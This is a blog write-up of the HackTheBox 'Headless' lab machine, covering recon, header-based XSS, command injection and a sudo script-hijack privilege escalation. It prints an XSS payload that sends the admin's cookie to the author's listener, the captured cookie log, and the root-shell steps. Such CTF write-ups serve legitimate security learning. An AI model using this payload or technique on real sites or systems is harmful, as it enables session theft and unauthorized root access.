kylie_maddison/cyber_security/blog

Tag: #Machine

HackTheBox – Headless

Recon

IP Address: 10.10.11.8
Domain name: headless.htb
Operating System: Debian

Open Ports

Web server running on port 5000
Werkzeug/2.2.2 Python/3.11.2

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 14:52 BST
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Thu, 18 Jul 2024 13:52:25 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
Bash

Enumeration

Web Enumeration

Directories found using ffuf

support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 30ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 22ms]

Bash

The main page simply shows a countdown for when the website is due to go live

/support

Customer support form. Lots of input fields here to play with

/dashboard

Authentication is needed for this endpoint, we will have to return once we have a valid is_admin cookie

Tried some XSS on the support form and got an interesting response

“…a report with your browser information has been sent to the administrators…”

If this gets sent to the admins, then an XSS payload in these fields can steal their admin cookie.

Trying XSS in Origin, User-Agent and Referer headers. Hopefully one of these work.

Yep!
Actually 3 prompts triggered so every field is vulnerable.

Cookie stealing time 😀
Setting up a listener…

┌──(kylie㉿kali)-[~/honeypot]
└─$ python3 -m http.server 6969
Serving HTTP on 0.0.0.0 port 6969 (http://0.0.0.0:6969/) ...
Bash

Placing an XSS payload in the Referer header

Referer: <script>document.location='http://10.10.14.121:6969/'+document.cookie;</script>

Send everything off and the listener gets a hit! The file request to the listener is the is_admin cookie of the victim which we assume to be a valid admin.

Serving HTTP on 0.0.0.0 port 6969 (http://0.0.0.0:6969/) ...
10.10.11.8 - - [18/Jul/2024 15:34:42] code 404, message File not found
10.10.11.8 - - [18/Jul/2024 15:34:42] "GET /is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 404 -
Bash

Replace my cookie with the admin cookie…

Now we can access /dashboard!

Foothold

This endpoint accepts a date and then looks up a health report for the website on that date.

A single date parameter is sent in the request which is vulnerable to command injection

User dvir is identified
ls -la /home/dvir/.ssh has no ssh key unfortunately

My next move is to use the command injection to create a shell for myself to get a foothold on the system.

This command injection payload is not working…

I try some alternative revshells and find one that works

Got a shell as dvir!

bash-5.2$ whoami && ls
dvir
app  geckodriver.log  hack.sh  initdb.sh  user.txt
Bash

Upgrade the shell using python for tab completion

python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo ; fg
Bash

Post-Exploitation

Enumeration

Ran LinPEAS.
An interesting process is flagged

dvir        1109  2.5  8.1 2927568 327900 ?      Sl   07:02  18:39                  _ firefox-esr --marionette --headless --remote-debugging-port 46617 --remote-allow-hosts localhost -no-remote -profile /tmp/rust_mozprofilebTFkqI       
Bash
bash-5.2$ firefox-esr --version
Mozilla Firefox 115.8.0esr
Bash

Given that the name of the box is called ‘headless’ and that LinPEAS has flagged this process for privilege escalation, I now go down a long and unnecessary rabbit hole of reading up on firefox-esr, it’s headless mode and the --remote-debugging-port flag. After not finding anything here I eventually give up and continue my post-exploitation enumeration.

dvir can run /usr/bin/syscheck as root
But they can’t edit the file directly though.

bash-5.2$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

bash-5.2$ ls -la /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb  2 16:11 /usr/bin/syscheck
Bash

Privilege Escalation

syscheck runs many other binaries but the only one that can be edited by dvir is initdb.sh. We can try to edit this

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
Bash

I removed the contents of initdb.sh and replaced them with /bin/bash.

bash-5.2$ cat initdb.sh
/bin/bash
Bash

Now I can run syscheck as root which along the way runs initdb.sh which now spawns a shell

bash-5.2$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.6G
System load average:  0.00, 0.04, 0.06
Database service is not running. Starting it...
whoami
root
Bash

Box rooted! 😎

Summary

This was a fun and simple box. We found an XSS vulnerability on a support form which threatened us with sending our browser-related headers to administrators. We put some more XSS in these headers to run on the admins’ machines in order to steal their admin cookie.

With the admin cookie we could authenticate ourselves to a new endpoint which was vulnerable to command injection. We injected a command to spawn a reverse shell to get a foothold on the machine.

Once inside we found that the user could run a syscheck script that depended on another script initdb that we had write access to. Editing initdb, we tricked syscheck into spawning a new shell as root.

I really should have done all of manual enumeration before running LinPEAS. It provides so much info that I got lost looking into firefox-esr. Starting with sudo -l earlier would have saved me a lot of time!

Thanks for reading my writeup for HackTheBox’s Headless machine. Leave a comment if you want to share your experiences of this box or if you have any alternative solutions or thoughts.

Happy hacking!
-Kylie

© 2025 Terminal Blink $

Theme by Anders NorenUp ↑